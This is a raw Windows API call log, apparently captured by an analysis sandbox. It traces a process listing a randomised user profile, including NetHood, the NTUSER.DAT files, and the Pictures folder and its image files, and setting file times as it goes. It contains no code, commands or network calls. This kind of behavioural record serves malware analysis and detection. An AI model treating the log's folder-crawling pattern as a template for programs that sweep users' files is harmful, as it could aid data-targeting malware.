GetLastError () returned 0x5 [0090.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0090.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.925] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0090.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.925] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.926] GetLastError () returned 0x5 [0090.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0090.927] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.927] GetLastError () returned 0x5 [0090.927] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.927] GetLastError () returned 0x5 [0090.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0090.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="")) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="")) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="")) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="")) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="")) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0090.928] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f797f10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f797f10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0090.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.929] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f797f10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f797f10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.929] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.929] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.930] NtClose (Handle=0x164) returned 0x0 [0090.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0090.931] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0090.931] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f797f10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f797f10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.931] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5e38 [0090.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa640 [0090.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.933] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44126490, ftCreationTime.dwHighDateTime=0x1d5bff0, ftLastAccessTime.dwLowDateTime=0xd9e206a0, ftLastAccessTime.dwHighDateTime=0x1d5ba01, ftLastWriteTime.dwLowDateTime=0xd9e206a0, ftLastWriteTime.dwHighDateTime=0x1d5ba01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gsZGSArhFCXPX0FHJz", cAlternateFileName="")) returned 1 [0090.933] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f1970, ftCreationTime.dwHighDateTime=0x1d5c440, ftLastAccessTime.dwLowDateTime=0xd506e180, ftLastAccessTime.dwHighDateTime=0x1d5be40, ftLastWriteTime.dwLowDateTime=0xd506e180, ftLastWriteTime.dwHighDateTime=0x1d5be40, nFileSizeHigh=0x0, nFileSizeLow=0xd708, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy-6hs4kA7XY51JLs-C.bmp", cAlternateFileName="")) returned 1 [0090.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5e58 [0090.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa7d8 [0090.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.935] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bf6d90, ftCreationTime.dwHighDateTime=0x1d5c0cf, ftLastAccessTime.dwLowDateTime=0x6674cc10, ftLastAccessTime.dwHighDateTime=0x1d5c0e2, ftLastWriteTime.dwLowDateTime=0x6674cc10, ftLastWriteTime.dwHighDateTime=0x1d5c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x429b, dwReserved0=0x0, dwReserved1=0x0, cFileName="l8Jbh04702.bmp", cAlternateFileName="")) returned 1 [0090.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5e78 [0090.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa860 [0090.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.937] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80b98f0, ftCreationTime.dwHighDateTime=0x1d5ba28, ftLastAccessTime.dwLowDateTime=0x3209d210, ftLastAccessTime.dwHighDateTime=0x1d5bae1, ftLastWriteTime.dwLowDateTime=0x3209d210, ftLastWriteTime.dwHighDateTime=0x1d5bae1, nFileSizeHigh=0x0, nFileSizeLow=0xfec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PavY6Vp1JWOUJ6m.jpg", cAlternateFileName="")) returned 1 [0090.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5e98 [0090.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa8e8 [0090.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.939] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90285fd0, ftCreationTime.dwHighDateTime=0x1d5bf58, ftLastAccessTime.dwLowDateTime=0x739b2ae0, ftLastAccessTime.dwHighDateTime=0x1d5b824, ftLastWriteTime.dwLowDateTime=0x739b2ae0, ftLastWriteTime.dwHighDateTime=0x1d5b824, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCssO2KW2d8wAeM6dA", cAlternateFileName="")) returned 1 [0090.939] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101cbe0, ftCreationTime.dwHighDateTime=0x1d5c59f, ftLastAccessTime.dwLowDateTime=0x96660500, ftLastAccessTime.dwHighDateTime=0x1d5c115, ftLastWriteTime.dwLowDateTime=0x96660500, ftLastWriteTime.dwHighDateTime=0x1d5c115, nFileSizeHigh=0x0, nFileSizeLow=0xcd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="yc1RiwJ632P_-g8d.jpg", cAlternateFileName="")) returned 1 [0090.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5eb8 [0090.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa970 [0090.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9840) returned 0x132a698 [0090.941] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101cbe0, ftCreationTime.dwHighDateTime=0x1d5c59f, ftLastAccessTime.dwLowDateTime=0x96660500, ftLastAccessTime.dwHighDateTime=0x1d5c115, ftLastWriteTime.dwLowDateTime=0x96660500, ftLastWriteTime.dwHighDateTime=0x1d5c115, nFileSizeHigh=0x0, nFileSizeLow=0xcd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="yc1RiwJ632P_-g8d.jpg", cAlternateFileName="")) returned 0 [0090.942] GetLastError () returned 0x12 [0090.942] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0090.942] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.942] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f797f10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f797f10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.942] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.942] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44126490, ftCreationTime.dwHighDateTime=0x1d5bff0, ftLastAccessTime.dwLowDateTime=0xd9e206a0, ftLastAccessTime.dwHighDateTime=0x1d5ba01, ftLastWriteTime.dwLowDateTime=0xd9e206a0, ftLastWriteTime.dwHighDateTime=0x1d5ba01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gsZGSArhFCXPX0FHJz", cAlternateFileName="")) returned 1 [0090.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsZGSArhFCXPX0FHJz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gszgsarhfcxpx0fhjz"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44126490, ftCreationTime.dwHighDateTime=0x1d5bff0, ftLastAccessTime.dwLowDateTime=0xd9e206a0, ftLastAccessTime.dwHighDateTime=0x1d5ba01, ftLastWriteTime.dwLowDateTime=0xd9e206a0, ftLastWriteTime.dwHighDateTime=0x1d5ba01, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsZGSArhFCXPX0FHJz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gszgsarhfcxpx0fhjz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.942] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.943] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.943] NtClose (Handle=0x164) returned 0x0 [0090.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faa80 [0090.944] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gsZGSArhFCXPX0FHJz\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0090.944] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44126490, ftCreationTime.dwHighDateTime=0x1d5bff0, ftLastAccessTime.dwLowDateTime=0xd9e206a0, ftLastAccessTime.dwHighDateTime=0x1d5ba01, ftLastWriteTime.dwLowDateTime=0xd9e206a0, ftLastWriteTime.dwHighDateTime=0x1d5ba01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.944] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7f5f30, ftCreationTime.dwHighDateTime=0x1d5b82c, ftLastAccessTime.dwLowDateTime=0x98b7ea50, ftLastAccessTime.dwHighDateTime=0x1d5c4f1, ftLastWriteTime.dwLowDateTime=0x98b7ea50, ftLastWriteTime.dwHighDateTime=0x1d5c4f1, nFileSizeHigh=0x0, nFileSizeLow=0x8bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="2M58oUMWE_.jpg", cAlternateFileName="")) returned 1 [0090.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab08 [0090.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5ed8 [0090.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134fd50 [0090.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0090.947] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb03f9bc0, ftCreationTime.dwHighDateTime=0x1d5bebe, ftLastAccessTime.dwLowDateTime=0x3d73c980, ftLastAccessTime.dwHighDateTime=0x1d5c3ab, 